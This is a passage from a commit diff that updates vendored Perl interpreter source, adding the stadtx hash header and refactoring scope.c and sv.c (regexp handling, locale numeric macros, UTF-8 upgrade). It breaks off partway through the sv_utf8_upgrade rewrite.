 	    if ((hv=GvSTASH(a0.any_gv)) && HvENAME_get(hv)) {
-	        if (   GvNAMELEN(a0.any_gv) == 3
-                    && strnEQ(GvNAME(a0.any_gv), "ISA", 3)
-                )
+	        if (memEQs(GvNAME(a0.any_gv), GvNAMELEN(a0.any_gv), "ISA"))
 	            mro_isa_changed_in(hv);
                 else if (had_method || GvCVu(a0.any_gv))
                     /* putting a method back into circulation ("local")*/	
@@ -1190,10 +1203,7 @@
                         break;
                     case SVt_PVCV:
                     {
-                        HEK *hek =
-			      CvNAMED(sv)
-				? CvNAME_HEK((CV *)sv)
-				: GvNAME_HEK(CvGV(sv));
+                        HEK *hek = CvGvNAME_HEK(sv);
                         assert(hek);
                         (void)share_hek_hek(hek);
                         cv_undef((CV *)sv);
@@ -1219,9 +1229,7 @@
                     case SVt_PVHV:	*svp = MUTABLE_SV(newHV());	break;
                     case SVt_PVCV:
                     {
-                        HEK * const hek = CvNAMED(sv)
-                                             ? CvNAME_HEK((CV *)sv)
-                                             : GvNAME_HEK(CvGV(sv));
+                        HEK * const hek = CvGvNAME_HEK(sv);
 
                         /* Create a stub */
                         *svp = newSV_type(SVt_PVCV);
@@ -1535,7 +1543,8 @@
                     PTR2UV(CxITERVAR(cx)));
             PerlIO_printf(Perl_debug_log, "BLK_LOOP.ITERSAVE = 0x%" UVxf "\n",
                     PTR2UV(cx->blk_loop.itersave));
-            /* XXX: not accurate for LAZYSV/IV/LIST */
+	}
+	if (CxTYPE(cx) == CXt_LOOP_ARY) {
             PerlIO_printf(Perl_debug_log, "BLK_LOOP.ITERARY = 0x%" UVxf "\n",
                     PTR2UV(cx->blk_loop.state_u.ary.ary));
             PerlIO_printf(Perl_debug_log, "BLK_LOOP.ITERIX = %ld\n",

Modified: vendor/perl/dist/scope.h
===================================================================
--- vendor/perl/dist/scope.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/scope.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -175,7 +175,7 @@
 =for apidoc Ams||LEAVE_with_name(name)
 
 Same as C<L</LEAVE>>, but when debugging is enabled it first checks that the
-scope has the given name. C<name> must be a C<NUL>-terminated literal string.
+scope has the given name. C<name> must be a literal string.
 
 =cut
 */

Added: vendor/perl/dist/stadtx_hash.h
===================================================================
--- vendor/perl/dist/stadtx_hash.h	                        (rev 0)
+++ vendor/perl/dist/stadtx_hash.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,335 @@
+#ifndef STADTX_HASH_H
+#define STADTX_HASH_H
+
+#ifndef DEBUG_STADTX_HASH
+#define DEBUG_STADTX_HASH 0
+#endif
+
+#ifndef PERL_SEEN_HV_FUNC_H
+
+#if !defined(U64)
+    #include <stdint.h>
+    #define U64 uint64_t
+#endif
+
+#if !defined(U32)
+  #define U32 uint32_t
+#endif
+
+#if !defined(U8)
+    #define U8 unsigned char
+#endif
+
+#if !defined(U16)
+    #define U16 uint16_t
+#endif
+
+#ifndef STRLEN
+#define STRLEN int
+#endif
+
+#endif
+
+#ifndef STADTX_STATIC_INLINE
+#ifdef PERL_STATIC_INLINE
+#define STADTX_STATIC_INLINE PERL_STATIC_INLINE
+#else
+#define STADTX_STATIC_INLINE static inline
+#endif
+#endif
+
+#ifndef STMT_START
+#define STMT_START do
+#define STMT_END while(0)
+#endif
+
+#ifndef STADTX_ALLOW_UNALIGNED_AND_LITTLE_ENDIAN
+/* STADTX_ALLOW_UNALIGNED_AND_LITTLE_ENDIAN only matters if nothing has defined U8TO64_LE etc,
+ * and when built with Perl these should be defined before this file is loaded.
+ */
+#ifdef U32_ALIGNMENT_REQUIRED
+#define STADTX_ALLOW_UNALIGNED_AND_LITTLE_ENDIAN 0
+#else
+#define STADTX_ALLOW_UNALIGNED_AND_LITTLE_ENDIAN 1
+#endif
+#endif
+
+#ifndef U8TO64_LE
+#if STADTX_ALLOW_UNALIGNED_AND_LITTLE_ENDIAN
+#define U8TO64_LE(ptr)  (*((const U64 *)(ptr)))
+#else
+#define U8TO64_LE(ptr)  (\
+    (U64)(ptr)[7] << 56 | \
+    (U64)(ptr)[6] << 48 | \
+    (U64)(ptr)[5] << 40 | \
+    (U64)(ptr)[4] << 32 | \
+    (U64)(ptr)[3] << 24 | \
+    (U64)(ptr)[2] << 16 | \
+    (U64)(ptr)[1] << 8  | \
+    (U64)(ptr)[0]         \
+)
+#endif
+#endif
+
+#ifndef U8TO32_LE
+#if STADTX_ALLOW_UNALIGNED_AND_LITTLE_ENDIAN
+#define U8TO32_LE(ptr)  (*((const U32 *)(ptr)))
+#else
+#define U8TO32_LE(ptr)  (\
+    (U32)(ptr)[3] << 24 | \
+    (U32)(ptr)[2] << 16 | \
+    (U32)(ptr)[1] << 8  | \
+    (U32)(ptr)[0]         \
+)
+#endif
+#endif
+
+#ifndef U8TO16_LE
+#if STADTX_ALLOW_UNALIGNED_AND_LITTLE_ENDIAN
+#define U8TO16_LE(ptr)  (*((const U16 *)(ptr)))
+#else
+#define U8TO16_LE(ptr)  (\
+    (U16)(ptr)[1] << 8  | \
+    (U16)(ptr)[0]         \
+)
+#endif
+#endif
+
+/* Find best way to ROTL32/ROTL64 */
+#if defined(_MSC_VER)
+  #include <stdlib.h>  /* Microsoft put _rotl declaration in here */
+  #define ROTL32(x,r)  _rotl(x,r)
+  #define ROTR32(x,r)  _rotr(x,r)
+  #define ROTL64(x,r)  _rotl64(x,r)
+  #define ROTR64(x,r)  _rotr64(x,r)
+#else
+  /* gcc recognises this code and generates a rotate instruction for CPUs with one */
+  #define ROTL32(x,r)  (((U32)(x) << (r)) | ((U32)(x) >> (32 - (r))))
+  #define ROTR32(x,r)  (((U32)(x) << (32 - (r))) | ((U32)(x) >> (r)))
+  #define ROTL64(x,r)  ( ( (U64)(x) << (r) ) | ( (U64)(x) >> ( 64 - (r) ) ) )
+  #define ROTR64(x,r)  ( ( (U64)(x) << ( 64 - (r) ) ) | ( (U64)(x) >> (r) ) )
+#endif
+
+
+/* do a marsaglia xor-shift permutation followed by a
+ * multiply by a prime (presumably large) and another
+ * marsaglia xor-shift permutation.
+ * One of these thoroughly changes the bits of the input.
+ * Two of these with different primes passes the Strict Avalanche Criteria
+ * in all the tests I did.
+ *
+ * Note that v cannot end up zero after a scramble64 unless it
+ * was zero in the first place.
+ */
+#define STADTX_SCRAMBLE64(v,prime) STMT_START {    \
+    v ^= (v >> 13);                         \
+    v ^= (v << 35);                         \
+    v ^= (v >> 30);                         \
+    v *= prime;                             \
+    v ^= (v >> 19);                         \
+    v ^= (v << 15);                         \
+    v ^= (v >> 46);                         \
+} STMT_END
+
+
+STADTX_STATIC_INLINE void stadtx_seed_state (
+    const U8 *seed_ch,
+    U8 *state_ch
+) {
+    const U64 *seed= (const U64 *)seed_ch;
+    U64 *state= (U64 *)state_ch;
+    /* first we apply two masks to each word of the seed, this means that
+     * a) at least one of state[0] and state[2] is nonzero,
+     * b) at least one of state[1] and state[3] is nonzero
+     * c) that state[0] and state[2] are different
+     * d) that state[1] and state[3] are different
+     * e) that the replacement value for any zero's is a totally different from the seed value.
+     *    (iow, if seed[0] is 0x43f6a8885a308d31UL then state[0] becomes 0, which is the replaced
+     *    with 1, which is totally different.). */
+    /* hex expansion of pi, skipping first two digits. pi= 3.2[43f6...]*/
+    /* pi value in hex from here:
+     * http://turner.faculty.swau.edu/mathematics/materialslibrary/pi/pibases.html*/
+    state[0]= seed[0] ^ UINT64_C(0x43f6a8885a308d31);
+    state[1]= seed[1] ^ UINT64_C(0x3198a2e03707344a);
+    state[2]= seed[0] ^ UINT64_C(0x4093822299f31d00);
+    state[3]= seed[1] ^ UINT64_C(0x82efa98ec4e6c894);
+    if (!state[0]) state[0]=1;
+    if (!state[1]) state[1]=2;
+    if (!state[2]) state[2]=4;
+    if (!state[3]) state[3]=8;
+    /* and now for good measure we double scramble all four -
+     * a double scramble guarantees a complete avalanche of all the
+     * bits in the seed - IOW, by the time we are hashing the
+     * four state vectors should be completely different and utterly
+     * uncognizable from the input seed bits */
+    STADTX_SCRAMBLE64(state[0],UINT64_C(0x801178846e899d17));
+    STADTX_SCRAMBLE64(state[0],UINT64_C(0xdd51e5d1c9a5a151));
+    STADTX_SCRAMBLE64(state[1],UINT64_C(0x93a7d6c8c62e4835));
+    STADTX_SCRAMBLE64(state[1],UINT64_C(0x803340f36895c2b5));
+    STADTX_SCRAMBLE64(state[2],UINT64_C(0xbea9344eb7565eeb));
+    STADTX_SCRAMBLE64(state[2],UINT64_C(0xcd95d1e509b995cd));
+    STADTX_SCRAMBLE64(state[3],UINT64_C(0x9999791977e30c13));
+    STADTX_SCRAMBLE64(state[3],UINT64_C(0xaab8b6b05abfc6cd));
+}
+
+#define STADTX_K0_U64 UINT64_C(0xb89b0f8e1655514f)
+#define STADTX_K1_U64 UINT64_C(0x8c6f736011bd5127)
+#define STADTX_K2_U64 UINT64_C(0x8f29bd94edce7b39)
+#define STADTX_K3_U64 UINT64_C(0x9c1b8e1e9628323f)
+
+#define STADTX_K2_U32 0x802910e3
+#define STADTX_K3_U32 0x819b13af
+#define STADTX_K4_U32 0x91cb27e5
+#define STADTX_K5_U32 0xc1a269c1
+
+STADTX_STATIC_INLINE U64 stadtx_hash_with_state(
+    const U8 *state_ch,
+    const U8 *key,
+    const STRLEN key_len
+) {
+    U64 *state= (U64 *)state_ch;
+    STRLEN len = key_len;
+    U64 v0= state[0] ^ ((key_len+1) * STADTX_K0_U64);
+    U64 v1= state[1] ^ ((key_len+2) * STADTX_K1_U64);
+    if (len < 32) {
+        switch(len >> 3) {
+            case 3:
+            v0 += U8TO64_LE(key) * STADTX_K3_U64;
+            v0= ROTR64(v0, 17) ^ v1;
+            v1= ROTR64(v1, 53) + v0;
+            key += 8;
+            /* FALLTHROUGH */
+            case 2:
+            v0 += U8TO64_LE(key) * STADTX_K3_U64;
+            v0= ROTR64(v0, 17) ^ v1;
+            v1= ROTR64(v1, 53) + v0;
+            key += 8;
+            /* FALLTHROUGH */
+            case 1:
+            v0 += U8TO64_LE(key) * STADTX_K3_U64;
+            v0= ROTR64(v0, 17) ^ v1;
+            v1= ROTR64(v1, 53) + v0;
+            key += 8;
+            /* FALLTHROUGH */
+            case 0:
+            default: break;
+        }
+        switch ( len & 0x7 ) {
+            case 7: v0 += (U64)key[6] << 32;
+            /* FALLTHROUGH */
+            case 6: v1 += (U64)key[5] << 48;
+            /* FALLTHROUGH */
+            case 5: v0 += (U64)key[4] << 16;
+            /* FALLTHROUGH */
+            case 4: v1 += (U64)U8TO32_LE(key);
+                    break;
+            case 3: v0 += (U64)key[2] << 48;
+            /* FALLTHROUGH */
+            case 2: v1 += (U64)U8TO16_LE(key);
+                    break;
+            case 1: v0 += (U64)key[0];
+            /* FALLTHROUGH */
+            case 0: v1 = ROTL64(v1, 32) ^ 0xFF;
+                    break;
+        }
+        v1 ^= v0;
+        v0 = ROTR64(v0,33) + v1;
+        v1 = ROTL64(v1,17) ^ v0;
+        v0 = ROTL64(v0,43) + v1;
+        v1 = ROTL64(v1,31) - v0;
+        v0 = ROTL64(v0,13) ^ v1;
+        v1 -= v0;
+        v0 = ROTL64(v0,41) + v1;
+        v1 = ROTL64(v1,37) ^ v0;
+        v0 = ROTR64(v0,39) + v1;
+        v1 = ROTR64(v1,15) + v0;
+        v0 = ROTL64(v0,15) ^ v1;
+        v1 = ROTR64(v1, 5);
+        return v0 ^ v1;
+    } else {
+        U64 v2= state[2] ^ ((key_len+3) * STADTX_K2_U64);
+        U64 v3= state[3] ^ ((key_len+4) * STADTX_K3_U64);
+
+        do {
+            v0 += (U64)U8TO64_LE(key+ 0) * STADTX_K2_U32; v0= ROTL64(v0,57) ^ v3;
+            v1 += (U64)U8TO64_LE(key+ 8) * STADTX_K3_U32; v1= ROTL64(v1,63) ^ v2;
+            v2 += (U64)U8TO64_LE(key+16) * STADTX_K4_U32; v2= ROTR64(v2,47) + v0;
+            v3 += (U64)U8TO64_LE(key+24) * STADTX_K5_U32; v3= ROTR64(v3,11) - v1;
+            key += 32;
+            len -= 32;
+        } while ( len >= 32 );
+
+        switch ( len >> 3 ) {
+            case 3: v0 += ((U64)U8TO64_LE(key) * STADTX_K2_U32); key += 8; v0= ROTL64(v0,57) ^ v3;
+            /* FALLTHROUGH */
+            case 2: v1 += ((U64)U8TO64_LE(key) * STADTX_K3_U32); key += 8; v1= ROTL64(v1,63) ^ v2;
+            /* FALLTHROUGH */
+            case 1: v2 += ((U64)U8TO64_LE(key) * STADTX_K4_U32); key += 8; v2= ROTR64(v2,47) + v0;
+            /* FALLTHROUGH */
+            case 0: v3 = ROTR64(v3,11) - v1;
+            /* FALLTHROUGH */
+        }
+        v0 ^= (len+1) * STADTX_K3_U64;
+        switch ( len & 0x7 ) {
+            case 7: v1 += (U64)key[6];
+            /* FALLTHROUGH */
+            case 6: v2 += (U64)U8TO16_LE(key+4);
+                    v3 += (U64)U8TO32_LE(key);
+                    break;
+            case 5: v1 += (U64)key[4];
+            /* FALLTHROUGH */
+            case 4: v2 += (U64)U8TO32_LE(key);
+                    break;
+            case 3: v3 += (U64)key[2];
+            /* FALLTHROUGH */
+            case 2: v1 += (U64)U8TO16_LE(key);
+                    break;
+            case 1: v2 += (U64)key[0];
+            /* FALLTHROUGH */
+            case 0: v3 = ROTL64(v3, 32) ^ 0xFF;
+                    break;
+        }
+
+        v1 -= v2;
+        v0 = ROTR64(v0,19);
+        v1 -= v0;
+        v1 = ROTR64(v1,53);
+        v3 ^= v1;
+        v0 -= v3;
+        v3 = ROTL64(v3,43);
+        v0 += v3;
+        v0 = ROTR64(v0, 3);
+        v3 -= v0;
+        v2 = ROTR64(v2,43) - v3;
+        v2 = ROTL64(v2,55) ^ v0;
+        v1 -= v2;
+        v3 = ROTR64(v3, 7) - v2;
+        v2 = ROTR64(v2,31);
+        v3 += v2;
+        v2 -= v1;
+        v3 = ROTR64(v3,39);
+        v2 ^= v3;
+        v3 = ROTR64(v3,17) ^ v2;
+        v1 += v3;
+        v1 = ROTR64(v1, 9);
+        v2 ^= v1;
+        v2 = ROTL64(v2,24);
+        v3 ^= v2;
+        v3 = ROTR64(v3,59);
+        v0 = ROTR64(v0, 1) - v1;
+
+        return v0 ^ v1 ^ v2 ^ v3;
+    }
+}
+
+STADTX_STATIC_INLINE U64 stadtx_hash(
+    const U8 *seed_ch,
+    const U8 *key,
+    const STRLEN key_len
+) {
+    U64 state[4];
+    stadtx_seed_state(seed_ch,(U8*)state);
+    return stadtx_hash_with_state((U8*)state,key,key_len);
+}
+
+#endif

Modified: vendor/perl/dist/sv.c
===================================================================
--- vendor/perl/dist/sv.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/sv.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1462,9 +1462,7 @@
 	    SvSTASH_set(io, MUTABLE_HV(SvREFCNT_inc(GvHV(iogv))));
 	    IoPAGE_LEN(sv) = 60;
 	}
-	if (UNLIKELY(new_type == SVt_REGEXP))
-	    sv->sv_u.svu_rx = (regexp *)new_body;
-	else if (old_type < SVt_PV) {
+	if (old_type < SVt_PV) {
 	    /* referent will be NULL unless the old type was SVt_IV emulating
 	       SVt_RV */
 	    sv->sv_u.svu_rv = referent;
@@ -1525,6 +1523,11 @@
     return;
 }
 
+
+/* forward declaration */
+static void S_sv_uncow(pTHX_ SV * const sv, const U32 flags);
+
+
 /*
 =for apidoc sv_grow
 
@@ -1535,7 +1538,6 @@
 =cut
 */
 
-static void S_sv_uncow(pTHX_ SV * const sv, const U32 flags);
 
 char *
 Perl_sv_grow(pTHX_ SV *const sv, STRLEN newlen)
@@ -1643,6 +1645,7 @@
     case SVt_PVGV:
 	if (!isGV_with_GP(sv))
 	    break;
+        /* FALLTHROUGH */
     case SVt_PVAV:
     case SVt_PVHV:
     case SVt_PVCV:
@@ -1651,6 +1654,7 @@
 	/* diag_listed_as: Can't coerce %s to %s in %s */
 	Perl_croak(aTHX_ "Can't coerce %s to integer in %s", sv_reftype(sv,0),
 		   OP_DESC(PL_op));
+        NOT_REACHED; /* NOTREACHED */
         break;
     default: NOOP;
     }
@@ -1755,6 +1759,7 @@
     case SVt_PVGV:
 	if (!isGV_with_GP(sv))
 	    break;
+        /* FALLTHROUGH */
     case SVt_PVAV:
     case SVt_PVHV:
     case SVt_PVCV:
@@ -1763,6 +1768,7 @@
 	/* diag_listed_as: Can't coerce %s to %s in %s */
 	Perl_croak(aTHX_ "Can't coerce %s to number in %s", sv_reftype(sv,0),
 		   OP_DESC(PL_op));
+        NOT_REACHED; /* NOTREACHED */
         break;
     default: NOOP;
     }
@@ -2457,7 +2463,7 @@
 
 	   Regexps have no SvIVX and SvNVX fields.
 	*/
-	assert(isREGEXP(sv) || SvPOKp(sv));
+	assert(SvPOKp(sv));
 	{
 	    UV value;
 	    const char * const ptr =
@@ -2545,7 +2551,7 @@
 	/* FBMs use the space for SvIVX and SvNVX for other purposes, and use
 	   the same flag bit as SVf_IVisUV, so must not let them cache IVs.  
 	   Regexps have no SvIVX and SvNVX fields. */
-	assert(isREGEXP(sv) || SvPOKp(sv));
+	assert(SvPOKp(sv));
 	{
 	    UV value;
 	    const char * const ptr =
@@ -2621,7 +2627,6 @@
 	    return SvNVX(sv);
 	if (SvPOKp(sv) && !SvIOKp(sv)) {
 	    ptr = SvPVX_const(sv);
-	  grokpv:
 	    if (!SvIOKp(sv) && ckWARN(WARN_NUMERIC) &&
 		!grok_number(ptr, SvCUR(sv), NULL))
 		not_a_number(sv);
@@ -2636,10 +2641,6 @@
         if (SvROK(sv)) {
 	    goto return_rok;
 	}
-	if (isREGEXP(sv)) {
-	    ptr = RX_WRAPPED((REGEXP *)sv);
-	    goto grokpv;
-	}
 	assert(SvTYPE(sv) >= SVt_PVMG);
 	/* This falls through to the report_uninit near the end of the
 	   function. */
@@ -2666,13 +2667,17 @@
     if (SvTYPE(sv) < SVt_NV) {
 	/* The logic to use SVt_PVNV if necessary is in sv_upgrade.  */
 	sv_upgrade(sv, SVt_NV);
+        CLANG_DIAG_IGNORE_STMT(-Wthread-safety);
 	DEBUG_c({
-	    STORE_NUMERIC_LOCAL_SET_STANDARD();
+            DECLARATION_FOR_LC_NUMERIC_MANIPULATION;
+            STORE_LC_NUMERIC_SET_STANDARD();
 	    PerlIO_printf(Perl_debug_log,
 			  "0x%" UVxf " num(%" NVgf ")\n",
 			  PTR2UV(sv), SvNVX(sv));
-	    RESTORE_NUMERIC_LOCAL();
+            RESTORE_LC_NUMERIC();
 	});
+        CLANG_DIAG_RESTORE_STMT;
+
     }
     else if (SvTYPE(sv) < SVt_PVNV)
 	sv_upgrade(sv, SVt_PVNV);
@@ -2807,12 +2812,15 @@
 	   and ideally should be fixed.  */
 	return 0.0;
     }
+    CLANG_DIAG_IGNORE_STMT(-Wthread-safety);
     DEBUG_c({
-	STORE_NUMERIC_LOCAL_SET_STANDARD();
+        DECLARATION_FOR_LC_NUMERIC_MANIPULATION;
+        STORE_LC_NUMERIC_SET_STANDARD();
 	PerlIO_printf(Perl_debug_log, "0x%" UVxf " 2nv(%" NVgf ")\n",
 		      PTR2UV(sv), SvNVX(sv));
-	RESTORE_NUMERIC_LOCAL();
+        RESTORE_LC_NUMERIC();
     });
+    CLANG_DIAG_RESTORE_STMT;
     return SvNVX(sv);
 }
 
@@ -3140,9 +3148,9 @@
                     DECLARATION_FOR_LC_NUMERIC_MANIPULATION;
                     STORE_LC_NUMERIC_SET_TO_NEEDED();
 
-                    local_radix = PL_numeric_local && PL_numeric_radix_sv;
-                    if (local_radix && SvLEN(PL_numeric_radix_sv) > 1) {
-                        size += SvLEN(PL_numeric_radix_sv) - 1;
+                    local_radix = _NOT_IN_NUMERIC_STANDARD;
+                    if (local_radix && SvCUR(PL_numeric_radix_sv) > 1) {
+                        size += SvCUR(PL_numeric_radix_sv) - 1;
                         s = SvGROW_mutable(sv, size);
                     }
 
@@ -3179,14 +3187,12 @@
 	assert(SvPOK(buffer));
 	if (SvUTF8(buffer))
 	    SvUTF8_on(sv);
+        else
+            SvUTF8_off(sv);
 	if (lp)
 	    *lp = SvCUR(buffer);
 	return SvPVX(buffer);
     }
-    else if (isREGEXP(sv)) {
-	if (lp) *lp = RX_WRAPLEN((REGEXP *)sv);
-	return RX_WRAPPED((REGEXP *)sv);
-    }
     else {
 	if (lp)
 	    *lp = 0;
@@ -3363,11 +3369,16 @@
                 return cBOOL(svb);
             }
 	}
-	return SvRV(sv) != 0;
+	assert(SvRV(sv));
+	return TRUE;
     }
     if (isREGEXP(sv))
 	return
 	  RX_WRAPLEN(sv) > 1 || (RX_WRAPLEN(sv) && *RX_WRAPPED(sv) != '0');
+
+    if (SvNOK(sv) && !SvPOK(sv))
+        return SvNVX(sv) != 0.0;
+
     return SvTRUE_common(sv, isGV_with_GP(sv) ? 1 : 0);
 }
 
@@ -3397,11 +3408,7 @@
 If C<flags> has C<SV_GMAGIC> bit set,
 will C<mg_get> on C<sv> if appropriate, else not.
 
-If C<flags> has C<SV_FORCE_UTF8_UPGRADE> set, this function assumes that the PV
-will expand when converted to UTF-8, and skips the extra work of checking for
-that.  Typically this flag is used by a routine that has already parsed the
-string and found such characters, and passes this information on so that the
-work doesn't have to be repeated.
+The C<SV_FORCE_UTF8_UPGRADE> flag is now ignored.
 
 Returns the number of bytes in the converted string.
 
@@ -3422,22 +3429,10 @@
 
 =cut
 
-(One might think that the calling routine could pass in the position of the
-first variant character when it has set SV_FORCE_UTF8_UPGRADE, so it wouldn't
-have to be found again.  But that is not the case, because typically when the
-caller is likely to use this flag, it won't be calling this routine unless it
-finds something that won't fit into a byte.  Otherwise it tries to not upgrade
-and just use bytes.  But some things that do fit into a byte are variants in
-utf8, and the caller may not have been keeping track of these.)
-
 If the routine itself changes the string, it adds a trailing C<NUL>.  Such a
 C<NUL> isn't guaranteed due to having other routines do the work in some input
 cases, or if the input is already flagged as being in utf8.
 
-The speed of this could perhaps be improved for many cases if someone wanted to
-write a fast function that counts the number of variant characters in a string,
-especially if it could return the position of the first one.
-
 */
 
 STRLEN
@@ -3460,7 +3455,12 @@
 	}
     }
 
-    if (SvUTF8(sv)) {
+    /* SVt_REGEXP's shouldn't be upgraded to UTF8 - they're already
+     * compiled and individual nodes will remain non-utf8 even if the
+     * stringified version of the pattern gets upgraded. Whether the
+     * PVX of a REGEXP should be grown or we should just croak, I don't
+     * know - DAPM */
+    if (SvUTF8(sv) || isREGEXP(sv)) {
 	if (extra) SvGROW(sv, SvCUR(sv) + extra);
 	return SvCUR(sv);
     }
@@ -3475,186 +3475,97 @@
 	/* This function could be much more efficient if we
 	 * had a FLAG in SVs to signal if there are any variant
 	 * chars in the PV.  Given that there isn't such a flag
-	 * make the loop as fast as possible (although there are certainly ways
-	 * to speed this up, eg. through vectorization) */
+	 * make the loop as fast as possible. */
 	U8 * s = (U8 *) SvPVX_const(sv);
-	U8 * e = (U8 *) SvEND(sv);
 	U8 *t = s;
-	STRLEN two_byte_count = 0;
 	
-	if (flags & SV_FORCE_UTF8_UPGRADE) goto must_be_utf8;
+        if (is_utf8_invariant_string_loc(s, SvCUR(sv), (const U8 **) &t)) {
 
-	/* See if really will need to convert to utf8.  We mustn't rely on our
-	 * incoming SV being well formed and having a trailing '\0', as certain
-	 * code in pp_formline can send us partially built SVs. */
+            /* utf8 conversion not needed because all are invariants.  Mark
+             * as UTF-8 even if no variant - saves scanning loop */
+            SvUTF8_on(sv);
+            if (extra) SvGROW(sv, SvCUR(sv) + extra);
+            return SvCUR(sv);
+        }
 
-	while (t < e) {
-	    const U8 ch = *t++;
-	    if (NATIVE_BYTE_IS_INVARIANT(ch)) continue;
-
-	    t--;    /* t already incremented; re-point to first variant */
-	    two_byte_count = 1;
-	    goto must_be_utf8;
-	}
-
-	/* utf8 conversion not needed because all are invariants.  Mark as
-	 * UTF-8 even if no variant - saves scanning loop */
-	SvUTF8_on(sv);
-	if (extra) SvGROW(sv, SvCUR(sv) + extra);
-	return SvCUR(sv);
-
-      must_be_utf8:
-
-	/* Here, the string should be converted to utf8, either because of an
-	 * input flag (two_byte_count = 0), or because a character that
-	 * requires 2 bytes was found (two_byte_count = 1).  t points either to
-	 * the beginning of the string (if we didn't examine anything), or to
-	 * the first variant.  In either case, everything from s to t - 1 will
-	 * occupy only 1 byte each on output.
+        /* Here, there is at least one variant (t points to the first one), so
+         * the string should be converted to utf8.  Everything from 's' to
+         * 't - 1' will occupy only 1 byte each on output.
+         *
+         * Note that the incoming SV may not have a trailing '\0', as certain
+         * code in pp_formline can send us partially built SVs.
 	 *
 	 * There are two main ways to convert.  One is to create a new string
 	 * and go through the input starting from the beginning, appending each
-	 * converted value onto the new string as we go along.  It's probably
-	 * best to allocate enough space in the string for the worst possible
-	 * case rather than possibly running out of space and having to
-	 * reallocate and then copy what we've done so far.  Since everything
-	 * from s to t - 1 is invariant, the destination can be initialized
-	 * with these using a fast memory copy
+         * converted value onto the new string as we go along.  Going this
+         * route, it's probably best to initially allocate enough space in the
+         * string rather than possibly running out of space and having to
+         * reallocate and then copy what we've done so far.  Since everything
+         * from 's' to 't - 1' is invariant, the destination can be initialized
+         * with these using a fast memory copy.  To be sure to allocate enough
+         * space, one could use the worst case scenario, where every remaining
+         * byte expands to two under UTF-8, or one could parse it and count
+         * exactly how many do expand.
 	 *
-	 * The other way is to figure out exactly how big the string should be
-	 * by parsing the entire input.  Then you don't have to make it big
-	 * enough to handle the worst possible case, and more importantly, if
-	 * the string you already have is large enough, you don't have to
-	 * allocate a new string, you can copy the last character in the input
-	 * string to the final position(s) that will be occupied by the
-	 * converted string and go backwards, stopping at t, since everything
-	 * before that is invariant.
+         * The other way is to unconditionally parse the remainder of the
+         * string to figure out exactly how big the expanded string will be,
+         * growing if needed.  Then start at the end of the string and place
+         * the character there at the end of the unfilled space in the expanded
+         * one, working backwards until reaching 't'.
 	 *
-	 * There are advantages and disadvantages to each method.
-	 *
-	 * In the first method, we can allocate a new string, do the memory
-	 * copy from the s to t - 1, and then proceed through the rest of the
-	 * string byte-by-byte.
-	 *
-	 * In the second method, we proceed through the rest of the input
-	 * string just calculating how big the converted string will be.  Then
-	 * there are two cases:
-	 *  1)	if the string has enough extra space to handle the converted
-	 *	value.  We go backwards through the string, converting until we
-	 *	get to the position we are at now, and then stop.  If this
-	 *	position is far enough along in the string, this method is
-	 *	faster than the other method.  If the memory copy were the same
-	 *	speed as the byte-by-byte loop, that position would be about
-	 *	half-way, as at the half-way mark, parsing to the end and back
-	 *	is one complete string's parse, the same amount as starting
-	 *	over and going all the way through.  Actually, it would be
-	 *	somewhat less than half-way, as it's faster to just count bytes
-	 *	than to also copy, and we don't have the overhead of allocating
-	 *	a new string, changing the scalar to use it, and freeing the
-	 *	existing one.  But if the memory copy is fast, the break-even
-	 *	point is somewhere after half way.  The counting loop could be
-	 *	sped up by vectorization, etc, to move the break-even point
-	 *	further towards the beginning.
-	 *  2)	if the string doesn't have enough space to handle the converted
-	 *	value.  A new string will have to be allocated, and one might
-	 *	as well, given that, start from the beginning doing the first
-	 *	method.  We've spent extra time parsing the string and in
-	 *	exchange all we've gotten is that we know precisely how big to
-	 *	make the new one.  Perl is more optimized for time than space,
-	 *	so this case is a loser.
-	 * So what I've decided to do is not use the 2nd method unless it is
-	 * guaranteed that a new string won't have to be allocated, assuming
-	 * the worst case.  I also decided not to put any more conditions on it
-	 * than this, for now.  It seems likely that, since the worst case is
-	 * twice as big as the unknown portion of the string (plus 1), we won't
-	 * be guaranteed enough space, causing us to go to the first method,
-	 * unless the string is short, or the first variant character is near
-	 * the end of it.  In either of these cases, it seems best to use the
-	 * 2nd method.  The only circumstance I can think of where this would
-	 * be really slower is if the string had once had much more data in it
-	 * than it does now, but there is still a substantial amount in it  */
+         * The problem with assuming the worst case scenario is that for very
+         * long strings, we could allocate much more memory than actually
+         * needed, which can create performance problems.  If we have to parse
+         * anyway, the second method is the winner as it may avoid an extra
+         * copy.  The code used to use the first method under some
+         * circumstances, but now that there is faster variant counting on
+         * ASCII platforms, the second method is used exclusively, eliminating
+         * some code that no longer has to be maintained. */
 
 	{
-	    STRLEN invariant_head = t - s;
-	    STRLEN size = invariant_head + (e - t) * 2 + 1 + extra;
-	    if (SvLEN(sv) < size) {
+            /* Count the total number of variants there are.  We can start
+             * just beyond the first one, which is known to be at 't' */
+            const Size_t invariant_length = t - s;
+            U8 * e = (U8 *) SvEND(sv);
 
-		/* Here, have decided to allocate a new string */
+            /* The length of the left overs, plus 1. */
+            const Size_t remaining_length_p1 = e - t;
 
-		U8 *dst;
-		U8 *d;
+            /* We expand by 1 for the variant at 't' and one for each remaining
+             * variant (we start looking at 't+1') */
+            Size_t expansion = 1 + variant_under_utf8_count(t + 1, e);
 
-		Newx(dst, size, U8);
+            /* +1 = trailing NUL */
+            Size_t need = SvCUR(sv) + expansion + extra + 1;
+            U8 * d;
 
-		/* If no known invariants at the beginning of the input string,
-		 * set so starts from there.  Otherwise, can use memory copy to
-		 * get up to where we are now, and then start from here */
+            /* Grow if needed */
+            if (SvLEN(sv) < need) {
+                t = invariant_length + (U8*) SvGROW(sv, need);
+                e = t + remaining_length_p1;
+            }
+            SvCUR_set(sv, invariant_length + remaining_length_p1 + expansion);
 
-		if (invariant_head == 0) {
-		    d = dst;
-		} else {
-		    Copy(s, dst, invariant_head, char);
-		    d = dst + invariant_head;
-		}
+            /* Set the NUL at the end */
+            d = (U8 *) SvEND(sv);
+            *d-- = '\0';
 
-		while (t < e) {
-                    append_utf8_from_native_byte(*t, &d);
-                    t++;
-		}
-		*d = '\0';
-		SvPV_free(sv); /* No longer using pre-existing string */
-		SvPV_set(sv, (char*)dst);
-		SvCUR_set(sv, d - dst);
